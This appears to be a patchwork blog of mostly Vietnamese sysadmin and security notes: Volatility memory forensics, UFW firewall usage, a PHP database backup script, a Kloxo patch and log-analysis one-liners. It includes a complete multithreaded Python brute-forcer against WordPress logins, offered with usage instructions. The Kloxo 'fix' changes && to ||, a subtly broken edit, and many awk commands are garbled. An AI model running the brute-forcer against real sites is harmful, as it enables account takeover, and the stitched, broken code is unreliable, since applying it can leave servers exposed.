MoVP 1.1 Phiên đăng nhập, quá trình và hình ảnh

Kẻ tấn công muốn đăng nhập. Họ rất thích đăng nhập từ xa với RDP. Những hành động này xảy ra bất cứ lúc nào, nhân của window sẽ tạo ra 1 phiên làm việc mới, đó là cơ bản của 1 container cho các quá trình và các đối tượng thuộc về các phiên làm việc. Phân tích các cấu trúc có thể mang lại giá trị pháp y cao, do đó MoVP 1.1 plugin là 1 phiên - một plugin để báo cáo về các phiên đăng nhập của window dựa trên bộ nhớ, bao gồm cả quá trình của họ có liên quan, modun hạt nhân

Đây là 1 số cách bạn dùng plugin này:

  • Quá trình liên kết với quá trình đăng nhập của họ: bạn thấy abc.exe đang chạy và bạn muốn biết nếu nó được đưa ra bởi 1 người qua RDP hoặc bởi 1 người dùng ngồi ở bàn điều khiển. 
  • Phát hiện quá trình ẩn: mỗi cấu trúc phiên có chứa 1 danh sách liên kết của các quá trình cho phiên đó. Nếu phần mềm độc hại bỏ liên kết 1 quá trình từ PsActiveProcessHead, bạn cũng có thể tận dụng danh sách thay thế quá trình này như 1 phương tiện để xác định các quá trình ẩn.
  • Xác định trình điều khiển nhân: Mỗi cấu trú phiên có chứa 1 danh sách các trình điều khiển ánh xạ vào phiên này. bạn cũng có thể sử dụng điều này để phân biệt các phiên RDP từ giao diện điều khiển hoặc các phiên chuyển đổi người dùng và cũng cho các việc linh tinh như xác định nếu hệ thống là 1 máy ảo Vmware.
Cấu trúc dữ liệu
Cấu trúc chính của 1 phiên là _MM_SESSION_SPACE. Đây là 1 cấu trúc lớn, do đó 1 phần nhỏ của nó sẽ được hiện thị dưới đây (Từ window 7 64bit)

>>> dt("_MM_SESSION_SPACE")
'_MM_SESSION_SPACE' (8064 bytes)
0x0   : ReferenceCount                 ['long']
0x4   : u                              ['__unnamed_2145']
0x8   : SessionId                      ['unsigned long']
0xc   : ProcessReferenceToSession      ['long']
0x10  : ProcessList                    ['_LIST_ENTRY']
0x20  : LastProcessSwappedOutTime      ['_LARGE_INTEGER']
0x28  : SessionPageDirectoryIndex      ['unsigned long long']
0x30  : NonPagablePages                ['unsigned long long']
0x38  : CommittedPages                 ['unsigned long long']
0x40  : PagedPoolStart                 ['pointer64', ['void']]
0x48  : PagedPoolEnd                   ['pointer64', ['void']]
0x50  : SessionObject                  ['pointer64', ['void']]
0x58  : SessionObjectHandle            ['pointer64', ['void']]
0x64  : SessionPoolAllocationFailures  ['array', 4, ['unsigned long']]
0x78  : ImageList                      ['_LIST_ENTRY']
0x88  : LocaleId                       ['unsigned long']
0x8c  : AttachCount                    ['unsigned long']
0x90  : AttachGate                     ['_KGATE']
0xa8  : WsListEntry                    ['_LIST_ENTRY']
0xc0  : Lookaside                      ['array', 21, ['_GENERAL_LOOKASIDE']]
0xb40 : Session                        ['_MMSESSION']
0xb98 : PagedPoolInfo                  ['_MM_PAGED_POOL_INFO']
0xc00 : Vm                             ['_MMSUPPORT']
0xc88 : Wsle                           ['pointer64', ['_MMWSLE']]
0xc90 : DriverUnload                   ['pointer64', ['void']]
0xcc0 : PagedPool                      ['_POOL_DESCRIPTOR']
0x1e00: PageDirectory                  ['_MMPTE']
0x1e08: SessionVaLock                  ['_KGUARDED_MUTEX']
0x1e40: DynamicVaBitMap                ['_RTL_BITMAP']
0x1e50: DynamicVaHint                  ['unsigned long']
0x1e58: SpecialPool                    ['_MI_SPECIAL_POOL']
0x1ea0: SessionPteLock                 ['_KGUARDED_MUTEX']
0x1ed8: PoolBigEntriesInUse            ['long']
0x1edc: PagedPoolPdeCount              ['unsigned long']
0x1ee0: SpecialPoolPdeCount            ['unsigned long']
0x1ee4: DynamicSessionPdeCount         ['unsigned long']
0x1ee8: SystemPteInfo                  ['_MI_SYSTEM_PTE_TYPE']
0x1f30: PoolTrackTableExpansion        ['pointer64', ['void']]
0x1f38: PoolTrackTableExpansionSize    ['unsigned long long']
0x1f40: PoolTrackBigPages              ['pointer64', ['void']]
0x1f48: PoolTrackBigPagesSize          ['unsigned long long']
[snip]

aaaaa

How to find the biggest installed packages on Kali Linux or Ubuntu

$ dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -nr

code brute-force wordpress

#!/usr/bin/python 
# Video: http://youtu.be/mURnM-Yp72g 
# Coded By: xSecurity

import urllib, urllib2, os, sys, requests as xsec, re
from time import sleep
from threading import Thread
def cls():
    linux = 'clear'
    windows = 'cls'
    os.system([linux,windows][os.name == 'nt']) 
cls()
print '''
       __                      _ _         
__  __/ _\ ___  ___ _   _ _ __(_) |_ _   _ 
\ \/ /\ \ / _ \/ __| | | | '__| | __| | | |
 >  < _\ \  __/ (__| |_| | |  | | |_| |_| |
/_/\_\\__/\___|\___|\__,_ |_|  |_|\__|\__, |
                                     |___/WordPress Brute Muliththreading :)
#Home: Sec4ever.CoM | Is-Sec.CoM | s3c-k.com
#Greets: UzunDz - b0x - Lov3rDNS - Mr.Dm4r - DamaneDz - rOx - r0kin 
Special For My Lov3r Cyber-Crystal
#Usage: Python wp.py http://target.com/ admin pass.txt
#Note: U Need Install Requests Package: http://www.youtube.com/watch?v=Ng5T18HyA-Q'''

xsec = xsec.session()
def brute(target,usr,pwd):
    get = xsec.get(target+'/wp-admin/')
    post = {}
    post["log"] = usr
    post["pwd"] = pwd
    post["wp-submit"] = "Log+in"
    post["redirect_to"] = target
    post["testcookie"] = "1"
    get2 = xsec.post(target+'/wp-login.php' , data=urllib.urlencode(post))
    get3 = xsec.get(target+'/wp-admin')
    if '<li id="wp-admin-bar-logout">' in get3.text:
        print '[+] Cracked Username: '+usr+' & Password: '+pwd
        os._exit(1)
    else:
        print '[~] Trying ...: '+pwd

if len(sys.argv) >= 3:
    target = sys.argv[1]
    usr = sys.argv[2]
    lst = open(sys.argv[3]).read().split("\n") 
    print '[*]Target: '+target
    print '[*]LIST:',len(lst)
    print '[*]Username: '+usr
    thrdlst = []
    for pwd in lst:
        t = Thread(target=brute, args=(target,usr,pwd))
        t.start()
        thrdlst.append(t)
        sleep(0.009)
    for b in thrdlst:
        b.join()
else:
    print '[>]There Somthing Missing Check ARGVS :)'

Hacking-lab

Install:
** Download iso
http://repo.hacking-lab.com/

username hacker
password compass
root password = compass

** Download VMOVA or Virtual box OVA
http://media.hacking-lab.com/largefiles/livecd/v8.00/

Install hacking-lab vpn config
http://pastebin.com/tfA6kExH

Readme: 
http://media.hacking-lab.com/largefiles/livecd/v8.00/readme.txt

Install volatily on ubuntu

Because it is available via PPA, installing Volatility 2.3.1 on Ubuntu, Linux Mint, Pear OS and Elementary OS is easy. All you have to do is add the ppa, update the local repository index and install the volatility package. Like this:
$ sudo add-apt-repository ppa:pi-rho/security
$ sudo apt-get update
$ sudo apt-get install volatility

Ubuntu và Firewall UFW

UFW trên terminal
UFW là một giao diện cấu hình tường lửa chạy trên dòng lệnh cho phép người dùng Ubuntu điều khiển traffic ra vào máy mình một cách đơn giản trên nền tảng tường lửa truyền thống iptables. Sau đây là cách sử dụng UFW.
Đầu tiên, ufw cần được kích hoạt: sudo ufw enable

Để tắt ufw dùng lệnh sau:  sudo ufw disable
Ban đầu khi bật tường lửa lên, UFW sẽ chạy ở chế độ ACCEPT, chấp nhận mọi traffic vào/ra cho đến khi chúng ta thiết lập các luật cho nó.
Xem các ứng dụng được cài đặt: sudo ufw list

Để kiểm tra trạng thái của ufw cũng như các rule đã thiết lập, dùng lệnh sau:                       sudo ufw status
Cú pháp đơn giản để cho phép một kết nối vào/ra trên một cổng nào đó đến bất kỳ host nào như sau:    sudo ufw allow 53
Để xác định protocol cụ thể cho cổng, thêm “/protocol” phía sau số cổng:                                                                  
sudo ufw allow 53/tcp
Ví dụ: Chặn truy cập vào google.com (74.125.128.94): 
sudo ufw deny from 74.125.128.94

Chặn một subnet kết nối đến máy mình: 
sudo ufw deny from 192.168.0.0/16
v Ufw framework cấu hình trong file text:
/etc/default/ufw: cấu hình ở mức cao, ví dụ như các chính sách mặc định, cung cấp ipv6...
/etc/ufw/before[6].rules:các luật trong file này được xác định trước khi bất kì luật nào được thêm vào bởi ufw
/etc/ufw/after[6].rules: các luật trong file này được xác định sau khi bất kì luật nào được thêm vào bởi ufw
/var/lib/ufw/user[6].rules or /lib/ufw/user[6].rules : những luật được thêm vào bởi ufw
v Logs
Firewall logs cần thiết cho nhận diện các tấn công, sửa chữa các luật trong firewall và nhận biết hoạt động không bình thường của mạng. Bạn phải thêm ghi lại các luật trong firewall để chúng được thực thi và việc ghi lại các luật phải trước bất kì luật xử lí gói tin vào ra nào của mạng.
Nếu sử dụng ufw, có thể bật ghi bằng dòng lệnh sau:
sudo ufw logging on
Để tắt việc ghi trong ufw, thay on bằng off
v Sử dụng giao diện Gufw:
Gufw là một lối đồ họa để quản lý một bức tường lửa iptables trên một máy tính. Nó được dựa trên ufw và cho phép bạn để cho phép hoặc chặn cấu hình định trước, p2p hay cổng cá nhân. 
Cài đặt:
 
Quá trình cài đặt đang diễn ra
“Y” để tiếp tục cài đặt

Đã cài đặt xong


Giao diện firewall của ufw. Firewall bị vô hiệu hoá khi bạn mở lần đầu tiên, “Unlock”:
 

Xác thực người dùng, điền password
 
Nơi bạn có thể cấu hình các qui tắc của firewall là: Simple, Preconfigured và Advanced. Cấu hình chặn truy cập vào google.com(74.125.128.94)

Đã thêm luật chặn vào
Firewall thực thi nên không thể truy cập vào google.com
                                       
Trên đây là sơ lược về việc sử dụng firewall UFW. Hy vọng với những vấn đề đề cập trên đây sẽ giúp ích ít nhiều cho các bạn. Nếu thời gian cho phép, tôi sẽ đi sâu hơn vào phần iptables của Linux!

Code php auto backup database

File backup.php:

<?php
include("connection.php");
function backup_db(){
/* Store All Table name in an Array */
$allTables = array();
$result = mysql_query('SHOW TABLES');
while($row = mysql_fetch_row($result)){
     $allTables[] = $row[0];
}

foreach($allTables as $table){
$result = mysql_query('SELECT * FROM '.$table);
$num_fields = mysql_num_fields($result);

$return.= 'DROP TABLE IF EXISTS '.$table.';';
$row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE '.$table));
$return.= "\n\n".$row2[1].";\n\n";

for ($i = 0; $i < $num_fields; $i++) {
while($row = mysql_fetch_row($result)){
   $return.= 'INSERT INTO '.$table.' VALUES(';
     for($j=0; $j<$num_fields; $j++){
       $row[$j] = addslashes($row[$j]);
       $row[$j] = str_replace("\n","\\n",$row[$j]);
       if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } 
       else { $return.= '""'; }
       if ($j<($num_fields-1)) { $return.= ','; }
     }
   $return.= ");\n";
}
}
$return.="\n\n";
}

// Create Backup Folder
$folder = 'DB_Backup/';
if (!is_dir($folder))
mkdir($folder, 0777, true);
chmod($folder, 0777);

$date = date('m-d-Y-H-i-s', time()); 
$filename = $folder."db-backup-".$date; 

$handle = fopen($filename.'.sql','w+');
fwrite($handle,$return);
fclose($handle);
}

// Call the function
backup_db();
?>

File connection.php:
<?php
  $host="localhost";
  $uname="YourUserName";
  $pass="YourPassword";
  $database = "YourDatabaseName"; 
$connection=mysql_connect("{$host}", "{$uname}", "{$pass}") or die("Không the ket noi database");
$selectdb=mysql_select_db($database) or die("Database could not be selected"); 
$result=mysql_select_db($database)
or die("database cannot be selected <br>");
?>

Tạo cronjob với command: php -q /home/user/public_html/path-to-your-file.php

Fix kloxo exploit


Exploit : http://www.exploit-db.com/exploits/31577/
Cách fix :
Mở: /usr/local/lxlabs/kloxo/httpdocs/htmllib/phplib/lxlib.php
Tìm hàm:
PHP Code:
function check_raw_password($class, $client, $pass)
{
//return true;

if (!$class || !$client || !$pass) {
return false;
}

$rawdb = new Sqlite(null, $class);
$password = $rawdb->rawquery("select password from $class where nname = '$client'");
$enp = $password[0]['password'];

if ($enp && check_password($pass, $enp)) {
return true;
}
return false;
//$rawdb->close();
}
Trong hàm này, thêm vào ngay đằng trước $rawdb = new Sqlite(null, $class); nội dung sau
$client = addslashes($client);
$class = addslashes($class);

Tìm tiếp tới: /usr/local/lxlabs/kloxo/httpdocs/htmllib/lib/objectactionlib.php
Tìm tới hàm:
function webcommandline_main()
Ngay bên dưới nó vài dòng bạn sẽ thấy dòng sau
PHP Code:
if ($opt['login-class'] !== 'client' && $opt['login-class'] !== 'auxiliary') {
Sửa nó thành:
PHP Code:
if ($opt['login-class'] !== 'client' || $opt['login-class'] !== 'auxiliary') {  

analysis log file


Grep log log analysis collate finishing
1 . Analyze log files to access the page next 2012-05-04 The top 20 URL and sorting
cat access.log | grep '04 / May/2012 '| awk' {print $ 11} '| sort | uniq-c | sort-nr | head -20
Query the URL address to access the page URL contains the IP address of www.abc.com
cat access_log | awk '($ 11 ~ / \ www.abc.com/) {print $ 1}' | sort | uniq-c | sort-nr
(2) to gain access to up to 10 IP addresses can also be queried by time
cat linewow-access.log | awk '{print $ 1}' | sort | uniq-c | sort-nr | head -10
1 to gain access to the ip address before 10
cat access.log | awk '{print $ 1}' | sort | uniq-c | sort-nr | head -10
cat access.log | awk '{counts [$ (11)] + = 1}; END {for (url in counts) print counts [url], url}'
2 Most Visited file or page , take the top 20 and all access to IP Statistics
cat access.log | awk '{print $ 11}' | sort | uniq-c | sort-nr | head -20
awk '{print $ 1}' access.log | sort-n-r | uniq-c | wc-l
cat wangsu.log | egrep '06 / Sep/2012: 14:35 | 06/Sep/2012: 15:05 '| awk' {print $ 1} '| sort | uniq-c | sort-nr | head -10 query log period of time the situation
3 lists some of the largest transfer exe file ( download station when analyzing common )
cat access.log | awk '($ 7 ~ / \. exe /) {print $ 10 "" $ 1 "" $ 4 "" $ 7}' | sort-nr | head -20
4 lists the output is greater than 200000byte ( about 200kb) an exe file and the number of occurrences of the corresponding file
cat access.log | awk '($ 10> 200000 && $ 7 ~ / \. exe /) {print $ 7}' | sort-n | uniq-c | sort-nr | head -100
5 If the log records the last one is the page file transfer time , there are lists to the client the most time-consuming page
cat access.log | awk '($ 7 ~ / \. php /) {print $ NF "" $ 1 "" $ 4 "" $ 7}' | sort-nr | head -100
6 lists the most time-consuming page ( more than 60 seconds ) as well as the corresponding page number of occurrences
cat access.log | awk '($ NF> 60 && $ 7 ~ / \. php /) {print $ 7}' | sort-n | uniq-c | sort-nr | head -100
7 lists the transmission of documents longer than 30 seconds
cat access.log | awk '($ NF> 30) {print $ 7}' | sort-n | uniq-c | sort-nr | head -20
8 Statistics website traffic (G)
cat access.log | awk '{sum + = $ 10} END {print sum/1024/1024/1024}'
9 Statistics 404 connection
awk '($ 9 ~ / 404 /)' access.log | awk '{print $ 9, $ 7}' | sort
10 Statistical http status.
cat access.log | awk '{counts [$ (9)] + = 1}; END {for (code in counts) print code, counts [code]}'
cat access.log | awk '{print $ 9}' | sort | uniq-c | sort-rn
11 sec Concurrency :
awk '{if ($ 9 ~ / 200 | 30 | 404 /) COUNT [$ 4] + +} END {for (a in COUNT) print a, COUNT [a]}' | sort-k 2-nr | head-n10
12 . Bandwidth statistics
cat apache.log | awk '{if ($ 7 ~ / GET /) count + +} END {print "client_request =" count}'
cat apache.log | awk '{BYTE + = $ 11} END {print "client_kbyte_out =" BYTE/1024 "KB"}'
One day out of the 10 most visited IP
cat / tmp / access.log | grep "20/Mar/2011" | awk '{print $ 3}' | sort | uniq-c | sort-nr | head
Maximum number of connections that day ip ip are doing :
cat access.log | grep "10.0.21.17" | awk '{print $ 8}' | sort | uniq-c | sort-nr | head-n 10
Find out the most visited several minutes
awk '{print $ 1}' access.log | grep "20/Mar/2011" | cut-c 14-18 | sort | uniq-c | sort-nr | head
Attachment: View tcp connection status
netstat-nat | awk '{print $ 6}' | sort | uniq-c | sort-rn
netstat-n | awk '/ ^ tcp / {+ + S [$ NF]}; END {for (a in S) print a, S [a]}'
netstat-n | awk '/ ^ tcp / {+ + state [$ NF]}; END {for (key in state) print key, "\ t", state [key]}'
netstat-n | awk '/ ^ tcp / {+ + arr [$ NF]}; END {for (k in arr) print k, "\ t", arr [k]}'
netstat-n | awk '/ ^ tcp / {print $ NF}' | sort | uniq-c | sort-rn
netstat-ant | awk '{print $ NF}' | grep-v '[az]' | sort | uniq-c
netstat-ant | awk '/ ip: 80 / {split ($ 5, ip, ":"); + + S [ip [1]]} END {for (a in S) print S [a], a}' | sort-n
netstat-ant | awk '/: 80 / {split ($ 5, ip, ":"); + + S [ip [1]]} END {for (a in S) print S [a], a}' | sort-rn | head-n 10
awk 'BEGIN {printf ("http_code \ tcount_num \ n")} {COUNT [$ 10] + +} END {for (a in COUNT) printf a "\ t \ t" COUNT [a] "\ n"}'
(2) Find requests please 20 IP ( commonly used in the attack source lookup ) :
netstat-anlp | grep 80 | grep tcp | awk '{print $ 5}' | awk-F: '{print $ 1}' | sort | uniq-c | sort-nr | head-n20
netstat-ant | awk '/: 80 / {split ($ 5, ip, ":"); + + A [ip [1]]} END {for (i in A) print A [i], i}' | sort-rn | head-n20
3 with a sniffer tcpdump port 80 access to see who the highest
tcpdump-i eth0-tnn dst port 80-c 1000 | awk-F "." '{print $ 1 "." $ 2 "." $ 3 "." $ 4}' | sort | uniq-c | sort-nr | head - 20
4 Find more time_wait connection
netstat-n | grep TIME_WAIT | awk '{print $ 5}' | sort | uniq-c | sort-rn | head-n20
5 more investigation to find SYN connections
netstat-an | grep SYN | awk '{print $ 5}' | awk-F: '{print $ 1}' | sort | uniq-c | sort-nr | more
6 According to port out process
netstat-ntlp | grep 80 | awk '{print $ 7}' | cut-d /-f1